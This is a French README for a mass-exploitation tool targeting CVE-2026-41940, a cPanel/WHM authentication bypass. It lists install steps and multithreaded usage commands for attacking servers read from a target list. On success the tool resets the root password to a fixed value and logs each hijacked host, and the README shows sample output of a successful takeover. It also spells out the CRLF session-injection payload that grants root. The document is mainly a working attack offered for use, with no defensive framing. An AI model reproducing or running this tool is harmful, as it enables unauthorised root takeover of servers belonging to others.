
Scanner de masse et outil d'exploitation massive pour la CVE-2026-41940 sur cPanel/WHM, conçu pour la validation automatisée des cibles et une exécution multithread à haute vitesse.
CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans WHM/cPanel qui permet aux attaquants de contourner l'authentification et d'obtenir un accès root à un serveur sans identifiants valides. La vulnérabilité exploite une injection CRLF dans le mécanisme de gestion de session pour injecter des paramètres de session malveillants.
Cet outil offre des capacités d'exploitation de masse avec prise en charge du multithreading pour tester plusieurs cibles simultanément, avec une détection intelligente du succès et un filtrage automatique des cibles invalides.
| Fonctionnalité | Description |
|---|---|
| ✅ Exploitation de masse | Scanne et exploite plusieurs cibles à partir d'un fichier de liste |
| 🚀 Multithreading | Nombre de threads configurable pour un scan plus rapide (défaut : 15) |
| 🔐 Changement automatique de mot de passe | Change le mot de passe root en Jenderal92 lors d'un exploit réussi |
| 🛡️ Détection intelligente de succès | Détecte automatiquement divers formats de réponse de l'API WHM |
| ⚠️ Filtrage des erreurs de licence | Exclut les cibles avec des erreurs de licence invalide/illisible |
| 📝 Sortie structurée | Enregistre uniquement les succès confirmés au format `domain:port |
| 🛡️ Prise en charge SSL/TLS | Gère automatiquement les certificats auto-signés |
| 🔄 Gestion de session | Extraction automatique de session, injection de cookies et gestion des jetons |
| ⏱️ Contrôle du délai d'attente | Délai d'attente de connexion configurable (défaut : 15 secondes) |
| 🔍 Vérification pré-connexion | Vérifie la disponibilité du port avant la tentative d'exploitation |
| 📊 Progression en temps réel | Affiche la progression détaillée de chaque étape d'exploitation |
pip install requests urllib3 futures
Ou utilisez requirements.txt :
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Install dependencies
pip install -r requirements.txt
# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py
Créez un fichier targets.txt avec une cible par ligne :
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Remarque : Le port
2087est le port WHM par défaut. S'il n'est pas spécifié, le port 2087 sera utilisé automatiquement. Le préfixe HTTP/HTTPS sera ajouté automatiquement s'il manque.
python2 CVE-2026-41940.py targets.txt
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5
# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argument | Description | Défaut | Requis |
|---|---|---|---|
list_file | Fichier contenant la liste des cibles (une par ligne) | - | ✅ Oui |
--threads | Nombre de threads simultanés | 15 | ❌ Non |
--hostname | Remplace l'en-tête Host pour toutes les cibles | Détection automatique | ❌ Non |
--timeout | Délai d'attente de connexion en secondes | 15 | ❌ Non |
res.txt)Seuls les exploits réussis confirmés sont enregistrés. Les cibles présentant des erreurs de licence, des échecs de changement de mot de passe ou des problèmes de connexion sont automatiquement exclues.
Format :
domain:port|root|Jenderal92
Exemple de sortie :
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Les cibles suivantes ne seront PAS enregistrées dans res.txt :
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
L'exploit se compose de 4 étapes principales avec vérification intelligente :
[1] minting a preauth session...
/login/?login_only=1 avec des identifiants invalideswhostmgrsession dans la réponse du serveur,<obhex>[2] sending the CRLF injection...
Authorization: Basic contenant une charge utile malveillanteroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) injectent de faux paramètres de sessionLocation contenant le cp_security_token